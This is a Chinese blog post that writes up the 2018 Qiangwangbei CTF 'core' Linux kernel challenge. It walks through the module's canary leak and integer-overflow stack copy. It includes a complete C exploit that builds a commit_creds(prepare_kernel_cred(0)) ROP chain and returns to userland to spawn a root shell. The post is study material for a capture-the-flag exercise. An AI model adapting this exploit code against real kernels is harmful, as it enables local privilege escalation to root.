首页 > 其他分享 >强网杯2018 - core 学习记录

强网杯2018 - core 学习记录

时间:2022-12-29 12:45:47浏览次数:59  
标签:kernel core 强网杯 2018 rop commit cred creds

  • 环境搭建

    首先解包 core.cpio,去掉 init 中 poweroff 强制关机那一句,然后重新打包

./gen_cpio.sh core.cpio


启动 qemu 的时候出现了报错

Kernel panic - not syncing: Out of memory and no killable processes...


将 start.sh 中 -m 原本的 64M 改成了 256M 后可以正常启动了。

漏洞文件是 core.ko,看一下保护,只开了 Canary 和 NX 。

+ ### 漏洞分析

在 core_ioctl 中,对传入值进行判断并有三个分支,分别是 core_read(),设置全局变量和 core_copy_func()。

因为有 Canary 首先要泄露栈上信息,在 core_read 中,copy_to_user 可以将内核空间拷贝一块数据到用户空间,而这里的 off 可以在 core_ioctl 任意设置,所以在这里能泄露栈上内容,也就能泄露 Canary。

![image-20220714075504928](/i/l/?n=23&i=blog/2723796/202212/2723796-20221229114534219-2043353749.png)

然后是在 core_copy_func 中,传入变量存在整数溢出,可以利用 qmemcpy 将全局变量 name 的值写入内核栈上。

![image-20220714075840538](/i/l/?n=23&i=blog/2723796/202212/2723796-20221229114533816-62042224.png)

在 core_write 中可以向全局变量 name 中写入数据,最后通过 core_copy_func 写入到内核栈上,那么这里需要放一个提权的 rop_chain,因为在 tmp 目录先可以直接查看 commit_creds 和 prepare_kernel_cred 的地址,所以可以直接构造 rop 用 commit_creds(prepare_kernel_cred(0)) 提权。

![image-20220714080506807](/i/l/?n=23&i=blog/2723796/202212/2723796-20221229114533282-1807396996.png)

由于 commit_creds 和 prepare_kernel_cred 在 vmlinux 中的偏移固定,那么通过确定在 vmlinux 中的地址和固定的偏移,就可以确定 vmlinux 的基地址。

首先在 qemu 中查看镜像加载的基地址,但需要 root 权限,先在 init 中修改为:

setsid /bin/cttyhack setuidgid 0 /bin/sh


然后重新打包,查看 core.ko 中 .text 的基地址

/ # cat /sys/module/core/sections/.text
0xffffffffc034c000


然后确定偏移:

```python
from pwn import *
elf = ELF("./vmlinux")
print "commit_creds", hex(elf.symbols['commit_creds']-0xffffffff81000000)
print "prepare_kernel_cred", hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)

image-20220715080158255

然后在 qemu 中查看基址:

/ # cat /tmp/kallsyms | grep commit_creds
ffffffff90c9c8e0 T commit_creds
/ # cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffff90c9cce0 T prepare_kernel_cred

那么就可以计算出 vmlinux 的基址:

image-20220715080347130

  • 构造 ROP

    要用 rop 实现执行 commit_creds(prepare_kernel_cred(0)) 提权和执行 swapgs; iretq 命令返回用户态。实现流程大致为:

    pop rdi; ret
    prepare_kernel_cred(0)
    pop rdx; ret
    pop rcx; ret
    mov rdi, rax; call rdx;
    commit_creds
    swapgs; popfq; ret
    iretq; ret;
    

    具体的地址可以用 ropper 寻找

    ropper --file vmlinux --search "pop|ret"
    

    最后的 exp,重点就是构造 rop 部分,把 commit_creds(prepare_kernel_cred(0)) 和 swapgs; iretq 和 提前构造的栈拼起来即可。

    构造的栈:

    image-20220716191053854

    (exp 参考自 ctfwiki)

    // gcc exploit.c -static -masm=intel -g -o exploit
    #include <string.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    
    void spawn_shell()
    {
        system("/bin/sh");
    }
    
    size_t commit_creds = 0, prepare_kernel_cred = 0;
    size_t raw_vmlinux_base = 0xffffffff81000000;
    size_t vmlinux_base = 0;
    size_t find_symbols()
    {
        FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    
        if(kallsyms_fd < 0)
        {
            puts("[*]open kallsyms error!");
            exit(0);
        }
    
        char buf[0x30] = {0};
        while(fgets(buf, 0x30, kallsyms_fd))
        {
            if(commit_creds & prepare_kernel_cred)
                return 0;
    
            if(strstr(buf, "commit_creds") && !commit_creds)
            {
                /* puts(buf); */
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &commit_creds);
                printf("commit_creds addr: %p\n", commit_creds);
                vmlinux_base = commit_creds - 0x9c8e0;
                printf("vmlinux_base addr: %p\n", vmlinux_base);
            }
    
            if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
            {
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &prepare_kernel_cred);
                printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            }
        }
    
        if(!(prepare_kernel_cred & commit_creds))
        {
            puts("[*]Error!");
            exit(0);
        }
    }
    
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;");
        puts("[*]status has been saved");
    }
    
    void set_off(int fd, long long idx)
    {
        printf("[*]set off9 to %ld\n", idx);
        ioctl(fd, 0x6677889C, idx);
    }
    
    void core_read(int fd, char *buf)
    {
        puts("[*]read to buf.");
        ioctl(fd, 0x6677889B, buf);
    }
    
    void core_copy_func(int fd, long long size)
    {
        printf("[*]copy from user with size: %ld\n", size);
        ioctl(fd, 0x6677889A, size);
    }
    
    int main()
    {
        save_status();
        int fd = open("/proc/core", 2);
        if (fd < 0) 
        {
            puts("[*]open /proc/core error!");
            exit(0);
        }
    
        find_symbols();
        ssize_t offset = vmlinux_base - raw_vmlinux_base;
    
        set_off(fd, 0x40);
        char buf[0x40] = {0};
        core_read(fd, buf);
        size_t canary = ((size_t *)buf)[0];
        printf("[+]canary: %p\n", canary);
    
        size_t rop[0x1000] = {0};
        int i;
        for(i = 0; i < 10; i++)
        {
            rop[i] = canary;
        }
    
        rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
        rop[i++] = 0;
        rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)
    
        rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
        rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
        rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
        rop[i++] = commit_creds;
    
        rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
        rop[i++] = 0;
    
        rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 
    
        rop[i++] = (size_t)spawn_shell; // rip
    
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_sp;
        rop[i++] = user_ss;
    
        write(fd, rop, 0x800);
        core_copy_func(fd, 0xffffffffffff0000 | (0x100));
        return 0;
    }
    

    快速启动脚本:

    #!/bin/sh
    gcc exp.c -static -masm=intel -g -o exp
    cp exp core/exp
    cd core
    ./gen_cpio.sh core.cpio
    mv core.cpio ..
    cd ..
    ./start.sh
    

    image-20220716121525192

  • 参考文献

标签:kernel,core,强网杯,2018,rop,commit,cred,creds
From: https://www.cnblogs.com/m00nflower/p/17012224.html

相关文章

  • 0CTF2018 Final - baby kernel 学习记录
    doublefetch由于内核态和用户态之间的数据访问竞争导致的条件竞争漏洞。通常条件下,用户向内核传递数据时,内核先通过copy_from_user等函数向内核拷贝数据,但大量复杂......
  • ASP.NET Core分布式缓存
    分布式缓存服务器1、常用的分布式缓存服务器有Redis、Memcached等2、.NETCore中提供了统一的分布式缓存服务器的操作接口IDistributedCache,用法和内存缓存类似3、分布式缓......
  • [JSOI2018]机器人
    题目描述一个\(n\timesm\)的网格,有一个机器人一开始在\((1,1)\),每次机器人可以向右或向下走一步,\((i,m)\)的右边是\((i,1)\),\((n,j)\)的下边是\((1,j)\),机器人需要不重......
  • .NET Core基础:白话管道中间件
    在Asp.NetCore中,管道往往伴随着请求一起出现。客户端发起Http请求,服务端去响应这个请求,之间的过程都在管道内进行。举一个生活中比较常见的例子:旅游景区。我们都知道,有......
  • .NET Core 学习笔记
    .net是一个开发平台。包含.netframwork、netcore等,具体开发的语言主要是C#一、.netframwork和.netcore二者的区别①、.netframework是系统基本安装,相互影响(所......
  • asp.net core 的一个CURD项目,.NET6
         项目视频地址https://www.youtube.com/watch?v=T-e554Zt3n4    效果图     第一步先安装vistalstudio2022https://visualstudio.......
  • .net core-利用PdfSharpCore 操作PDF实例
    .netcore-利用PdfSharpCore操作PDF实例 前序使用PdfSharpCore请注意使用XGraphics基类,与System.Drawing的Graphics类似,XGraphics提供XColor(颜色)、XPen(画笔)、XBru......
  • .NET CORE 发布到IIS HTTP Error 500.30 - 502
    第一种情况:HTTPError500.30-ASP.NETCoreappfailedtostart    根据ASP.NETCore模块|MicrosoftDocs可知,默认配置是进程内托管,设为InProcess,显示指......
  • asp.netcore Authentication, schema
    1. code likethiswillreporterror:  builder.Services.AddAuthentication("dd").AddCookie("ddd");builder.Services.AddAuthorization();InvalidOperationE......
  • 第7章 使用Razor视图渲染HTML(ASP.NET Core in Action, 2nd Edition)
    本章包括•创建Razor视图以向用户显示HTML•使用C#和Razor标记语法动态生成HTML•使用布局和局部视图重用公共代码RazorPagesPageModel、页面处理程序和Razor视图中......